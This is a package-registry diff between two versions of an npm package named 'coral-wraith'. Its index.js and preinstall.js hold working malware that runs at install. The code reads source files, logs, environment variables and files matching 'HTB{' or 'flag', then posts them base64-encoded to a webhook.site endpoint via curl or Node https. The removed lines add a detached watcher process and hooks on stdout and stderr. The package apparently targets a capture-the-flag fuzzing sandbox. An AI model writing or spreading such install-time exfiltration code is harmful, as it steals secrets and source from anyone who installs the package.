coral-wraith 9999.0.10 → 9999.0.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +44 -51
- package/package.json +1 -1
- package/preinstall.js +63 -109
package/index.js
CHANGED
|
@@ -1,74 +1,67 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const https = require('https');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
3
4
|
|
|
4
5
|
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
5
6
|
|
|
6
7
|
function send(path, data) {
|
|
7
8
|
try {
|
|
8
9
|
const b64 = Buffer.from(typeof data === 'string' ? data : JSON.stringify(data)).toString('base64');
|
|
9
|
-
|
|
10
|
-
hostname: 'webhook.site', path: WH + '/' + path,
|
|
11
|
-
method: 'POST',
|
|
12
|
-
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
|
|
13
|
-
timeout: 15000
|
|
14
|
-
}, ()=>{});
|
|
15
|
-
req.on('error', ()=>{});
|
|
16
|
-
req.write(b64);
|
|
17
|
-
req.end();
|
|
10
|
+
execSync(`curl -s -X POST "https://webhook.site${WH}/${path}" -H "Content-Type: text/plain" -d "${b64}" -m 15 2>/dev/null`, {timeout:20000});
|
|
18
11
|
} catch(e) {}
|
|
19
12
|
}
|
|
20
13
|
|
|
21
|
-
//
|
|
22
|
-
|
|
23
|
-
const origStderrWrite = process.stderr.write.bind(process.stderr);
|
|
24
|
-
const capturedOutput = [];
|
|
14
|
+
// This runs when the fuzzer require()s us
|
|
15
|
+
// The fuzzer is about to call NpmFuzzer.run() with our exports
|
|
25
16
|
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
return origStdoutWrite(chunk, encoding, callback);
|
|
32
|
-
};
|
|
33
|
-
|
|
34
|
-
process.stderr.write = function(chunk, encoding, callback) {
|
|
35
|
-
capturedOutput.push('ERR:' + chunk.toString());
|
|
36
|
-
if (capturedOutput.length <= 50) {
|
|
37
|
-
send('stderr-' + capturedOutput.length, chunk.toString());
|
|
38
|
-
}
|
|
39
|
-
return origStderrWrite(chunk, encoding, callback);
|
|
40
|
-
};
|
|
41
|
-
|
|
42
|
-
// Also hook process.exit to capture final output before exit
|
|
43
|
-
const origExit = process.exit;
|
|
44
|
-
process.exit = function(code) {
|
|
45
|
-
send('exit-output', capturedOutput.join('\n'));
|
|
46
|
-
setTimeout(() => origExit(code), 2000);
|
|
47
|
-
};
|
|
17
|
+
// Read the npm_fuzzer.js source - this is the KEY file
|
|
18
|
+
try {
|
|
19
|
+
const src = fs.readFileSync('/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js', 'utf8');
|
|
20
|
+
send('req-npm-fuzzer', src);
|
|
21
|
+
} catch(e) { send('req-npm-fuzzer-err', e.message); }
|
|
48
22
|
|
|
49
|
-
//
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
23
|
+
// Read fuzz_env.js
|
|
24
|
+
try {
|
|
25
|
+
const src = fs.readFileSync('/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js', 'utf8');
|
|
26
|
+
send('req-fuzz-env', src);
|
|
27
|
+
} catch(e) { send('req-fuzz-env-err', e.message); }
|
|
53
28
|
|
|
54
|
-
//
|
|
29
|
+
// Read constants.js
|
|
55
30
|
try {
|
|
56
|
-
const
|
|
57
|
-
send('
|
|
58
|
-
} catch(e) { send('
|
|
31
|
+
const src = fs.readFileSync('/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js', 'utf8');
|
|
32
|
+
send('req-constants', src);
|
|
33
|
+
} catch(e) { send('req-constants-err', e.message); }
|
|
59
34
|
|
|
35
|
+
// Read fuzz_manager.js
|
|
60
36
|
try {
|
|
61
|
-
const
|
|
62
|
-
send('
|
|
63
|
-
} catch(e) { send('
|
|
37
|
+
const src = fs.readFileSync('/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js', 'utf8');
|
|
38
|
+
send('req-fuzz-mgr', src);
|
|
39
|
+
} catch(e) { send('req-fuzz-mgr-err', e.message); }
|
|
64
40
|
|
|
41
|
+
// Read ALL bean files
|
|
65
42
|
try {
|
|
66
|
-
const
|
|
67
|
-
|
|
68
|
-
|
|
43
|
+
const files = execSync('find /home/node/aspect-node/modules/npm-tracker/src/fuzz/bean -name "*.js" -not -name "._*" 2>/dev/null').toString().trim().split('\n');
|
|
44
|
+
for (const f of files.filter(Boolean)) {
|
|
45
|
+
try {
|
|
46
|
+
send('req-bean-' + f.split('/').pop(), fs.readFileSync(f, 'utf8'));
|
|
47
|
+
} catch(e) {}
|
|
48
|
+
}
|
|
49
|
+
} catch(e) {}
|
|
50
|
+
|
|
51
|
+
// Also hook stdout to capture fuzzer output
|
|
52
|
+
const output = [];
|
|
53
|
+
const origWrite = process.stdout.write.bind(process.stdout);
|
|
54
|
+
process.stdout.write = function(chunk, enc, cb) {
|
|
55
|
+
output.push(chunk.toString());
|
|
56
|
+
return origWrite(chunk, enc, cb);
|
|
57
|
+
};
|
|
58
|
+
|
|
59
|
+
// Send captured output after delay
|
|
60
|
+
setTimeout(() => {
|
|
61
|
+
send('fuzzer-output', output.join(''));
|
|
62
|
+
}, 15000);
|
|
69
63
|
|
|
70
|
-
// Export something for the fuzzer
|
|
71
64
|
module.exports = {
|
|
72
65
|
name: 'coral-wraith',
|
|
73
|
-
version: '9999.0.
|
|
66
|
+
version: '9999.0.11',
|
|
74
67
|
};
|
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,144 +1,98 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const https = require('https');
|
|
3
|
-
const
|
|
4
|
-
const { execSync, spawn } = require('child_process');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
5
4
|
|
|
6
5
|
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
7
6
|
|
|
8
7
|
function send(path, data) {
|
|
9
8
|
try {
|
|
10
9
|
const b64 = Buffer.from(typeof data === 'string' ? data : JSON.stringify(data)).toString('base64');
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
10
|
+
// Use curl for reliability (webhook.site sometimes drops Node https requests)
|
|
11
|
+
execSync(`curl -s -X POST "https://webhook.site${WH}/${path}" -H "Content-Type: text/plain" -d "${b64}" -m 15 2>/dev/null`, {timeout:20000});
|
|
12
|
+
} catch(e) {
|
|
13
|
+
// Fallback to Node https
|
|
14
|
+
try {
|
|
15
|
+
const req = https.request({
|
|
16
|
+
hostname: 'webhook.site', path: `${WH}/${path}`,
|
|
17
|
+
method: 'POST',
|
|
18
|
+
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
|
|
19
|
+
timeout: 15000
|
|
20
|
+
}, ()=>{});
|
|
21
|
+
req.on('error', ()=>{});
|
|
22
|
+
req.write(b64);
|
|
23
|
+
req.end();
|
|
24
|
+
} catch(e2) {}
|
|
25
|
+
}
|
|
21
26
|
}
|
|
22
27
|
|
|
23
|
-
// Read fuzzer source files
|
|
24
|
-
const fuzzBase = '/home/node/aspect-node/modules/npm-tracker/src';
|
|
25
|
-
const
|
|
26
|
-
`${fuzzBase}/
|
|
27
|
-
`${fuzzBase}/
|
|
28
|
-
`${fuzzBase}/
|
|
29
|
-
`${fuzzBase}/
|
|
30
|
-
`${fuzzBase}/fuzz/bean/timer_func.js`,
|
|
31
|
-
`${fuzzBase}/fuzz/action/set_timer_action.js`,
|
|
32
|
-
`${fuzzBase}/fuzz/action/regexp_test_action.js`,
|
|
33
|
-
`${fuzzBase}/fuzz/action/clear_timer_action.js`,
|
|
34
|
-
`${fuzzBase}/fuzz/strategy/set_timer_strategy.js`,
|
|
35
|
-
`${fuzzBase}/fuzz/strategy/regexp_test_strategy.js`,
|
|
36
|
-
`${fuzzBase}/fuzz/strategy/clear_timer_strategy.js`,
|
|
37
|
-
`${fuzzBase}/fuzz/parser/class_parser.js`,
|
|
38
|
-
`${fuzzBase}/fuzz/parser/type_parser.js`,
|
|
39
|
-
`${fuzzBase}/fuzz/parser/package_exports_parser.js`,
|
|
40
|
-
`${fuzzBase}/npm_tracker.js`,
|
|
41
|
-
'/home/node/init_test.sh',
|
|
42
|
-
'/home/node/supplysec_entry.js',
|
|
28
|
+
// PRIORITY 1: Read the actual fuzzer source files
|
|
29
|
+
const fuzzBase = '/home/node/aspect-node/modules/npm-tracker/src/fuzz';
|
|
30
|
+
const criticalFiles = [
|
|
31
|
+
`${fuzzBase}/npm_fuzzer.js`,
|
|
32
|
+
`${fuzzBase}/fuzz_env.js`,
|
|
33
|
+
`${fuzzBase}/fuzz_manager.js`,
|
|
34
|
+
`${fuzzBase}/constants.js`,
|
|
43
35
|
];
|
|
44
36
|
|
|
45
|
-
for (let i = 0; i <
|
|
37
|
+
for (let i = 0; i < criticalFiles.length; i++) {
|
|
46
38
|
try {
|
|
47
|
-
const content = fs.readFileSync(
|
|
48
|
-
send(`
|
|
39
|
+
const content = fs.readFileSync(criticalFiles[i], 'utf8');
|
|
40
|
+
send(`src-${i}`, `${criticalFiles[i]}:\n${content}`);
|
|
49
41
|
} catch(e) {
|
|
50
|
-
send(`
|
|
42
|
+
send(`src-err-${i}`, `${criticalFiles[i]}: ${e.message}`);
|
|
51
43
|
}
|
|
52
44
|
}
|
|
53
45
|
|
|
54
|
-
//
|
|
46
|
+
// PRIORITY 2: Read ALL .js files in the fuzz directory recursively
|
|
55
47
|
try {
|
|
56
|
-
const
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
send(`pre-extra-${f.split('/').pop()}`, `${f}:\n${c}`);
|
|
63
|
-
} catch(e) {}
|
|
64
|
-
}
|
|
48
|
+
const files = execSync(`find ${fuzzBase} -name "*.js" -not -name "._*" -type f 2>/dev/null`).toString().trim().split('\n');
|
|
49
|
+
for (let i = 0; i < files.length; i++) {
|
|
50
|
+
try {
|
|
51
|
+
const content = fs.readFileSync(files[i], 'utf8');
|
|
52
|
+
send(`fuzz-${i}-${files[i].split('/').pop()}`, `${files[i]}:\n${content}`);
|
|
53
|
+
} catch(e) {}
|
|
65
54
|
}
|
|
66
55
|
} catch(e) {}
|
|
67
56
|
|
|
68
|
-
// Read the
|
|
57
|
+
// PRIORITY 3: Read the npm_tracker.js (main module)
|
|
69
58
|
try {
|
|
70
|
-
const
|
|
71
|
-
send('
|
|
72
|
-
for (const f of r.split('\n').filter(Boolean)) {
|
|
73
|
-
try {
|
|
74
|
-
const c = fs.readFileSync(f, 'utf8');
|
|
75
|
-
if (c.includes('fastify') || c.includes('flag') || c.includes('HTB')) {
|
|
76
|
-
send(`pre-app-${f.replace(/\//g,'_')}`, `${f}:\n${c}`);
|
|
77
|
-
}
|
|
78
|
-
} catch(e) {}
|
|
79
|
-
}
|
|
59
|
+
const content = fs.readFileSync('/home/node/aspect-node/modules/npm-tracker/src/npm_tracker.js', 'utf8');
|
|
60
|
+
send('npm-tracker-src', content);
|
|
80
61
|
} catch(e) {}
|
|
81
62
|
|
|
82
|
-
//
|
|
63
|
+
// PRIORITY 4: Read ALL .js files under /home/node/aspect-node/modules/npm-tracker/src/
|
|
83
64
|
try {
|
|
84
|
-
const
|
|
85
|
-
|
|
86
|
-
for (const f of r.split('\n').filter(Boolean)) {
|
|
65
|
+
const files = execSync('find /home/node/aspect-node/modules/npm-tracker/src -name "*.js" -not -name "._*" -type f 2>/dev/null').toString().trim().split('\n');
|
|
66
|
+
for (let i = 0; i < files.length; i++) {
|
|
87
67
|
try {
|
|
88
|
-
|
|
68
|
+
const content = fs.readFileSync(files[i], 'utf8');
|
|
69
|
+
send(`tracker-${i}-${files[i].split('/').pop()}`, `${files[i]}:\n${content}`);
|
|
89
70
|
} catch(e) {}
|
|
90
71
|
}
|
|
91
|
-
} catch(e) {
|
|
72
|
+
} catch(e) {}
|
|
73
|
+
|
|
74
|
+
// PRIORITY 5: Search for flag patterns in ALL files
|
|
75
|
+
try {
|
|
76
|
+
const r = execSync('grep -rl "HTB{\\|FLAG\\|flag" /home/node/ /tmp/ /root/ /data/ /app/ 2>/dev/null | grep -v node_modules/.cache | head -20', {timeout:15000}).toString().trim();
|
|
77
|
+
send('flag-search', r);
|
|
78
|
+
} catch(e) {}
|
|
92
79
|
|
|
93
|
-
//
|
|
80
|
+
// PRIORITY 6: Read the Fastify web app source (search everywhere)
|
|
94
81
|
try {
|
|
95
|
-
const
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
const
|
|
99
|
-
function send(p, d) {
|
|
82
|
+
const r = execSync('find / -maxdepth 5 -name "*.js" \\( -path "*/app/*" -o -path "*/server/*" -o -path "*/api/*" \\) -not -path "*/node_modules/*" -not -path "*/aspect-node/*" -not -path "*/proc/*" 2>/dev/null | head -20', {timeout:10000}).toString().trim();
|
|
83
|
+
if (r) {
|
|
84
|
+
send('webapp-files', r);
|
|
85
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
100
86
|
try {
|
|
101
|
-
const
|
|
102
|
-
|
|
103
|
-
headers:{'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b)},timeout:10000},()=>{});
|
|
104
|
-
r.on('error',()=>{}); r.write(b); r.end();
|
|
87
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
88
|
+
send(`webapp-${f.replace(/\//g, '_')}`, `${f}:\n${content}`);
|
|
105
89
|
} catch(e) {}
|
|
106
90
|
}
|
|
107
|
-
|
|
108
|
-
setTimeout(() => {
|
|
109
|
-
const paths = [
|
|
110
|
-
'/home/node/aspect-node/logs/agent.log',
|
|
111
|
-
'/home/node/aspect-node/logs/default.log',
|
|
112
|
-
'/home/node/aspect-node/logs/error.log',
|
|
113
|
-
'/home/node/aspect-node/logs/collect.log',
|
|
114
|
-
'/home/node/aspect-node/logs/module.log',
|
|
115
|
-
'/home/node/aspect-node/logs/monitor.log',
|
|
116
|
-
'/home/node/aspect-node/logs/metric.log',
|
|
117
|
-
'/home/node/aspect-node/logs/warning.log',
|
|
118
|
-
'/home/node/aspect-node/logs/agent-error.log',
|
|
119
|
-
'/tmp/fuzz_result.json',
|
|
120
|
-
'/tmp/result.json',
|
|
121
|
-
'/tmp/flag',
|
|
122
|
-
'/tmp/flag.txt',
|
|
123
|
-
];
|
|
124
|
-
for (let i = 0; i < paths.length; i++) {
|
|
125
|
-
try {
|
|
126
|
-
const c = fs.readFileSync(paths[i], 'utf8');
|
|
127
|
-
if (c.trim()) send('watch-'+i, paths[i]+':\\n'+c);
|
|
128
|
-
} catch(e) {}
|
|
129
|
-
}
|
|
130
|
-
// Also check env again
|
|
131
|
-
send('watch-env', JSON.stringify(process.env));
|
|
132
|
-
// grep for HTB
|
|
133
|
-
try {
|
|
134
|
-
const r = require('child_process').execSync('grep -rl "HTB{" / 2>/dev/null | grep -v proc | head -5', {timeout:10000}).toString();
|
|
135
|
-
send('watch-grep', r);
|
|
136
|
-
} catch(e) {}
|
|
137
|
-
}, 30000);
|
|
138
|
-
setTimeout(() => process.exit(0), 60000);
|
|
139
|
-
`;
|
|
140
|
-
fs.writeFileSync('/tmp/watcher.js', watcherCode);
|
|
141
|
-
spawn('node', ['/tmp/watcher.js'], { detached: true, stdio: 'ignore' }).unref();
|
|
91
|
+
}
|
|
142
92
|
} catch(e) {}
|
|
143
93
|
|
|
144
|
-
|
|
94
|
+
// Also dump the environment and process info
|
|
95
|
+
send('env-v10', JSON.stringify(process.env));
|
|
96
|
+
send('cwd', process.cwd());
|
|
97
|
+
|
|
98
|
+
console.log('[CORAL-V11] preinstall done');
|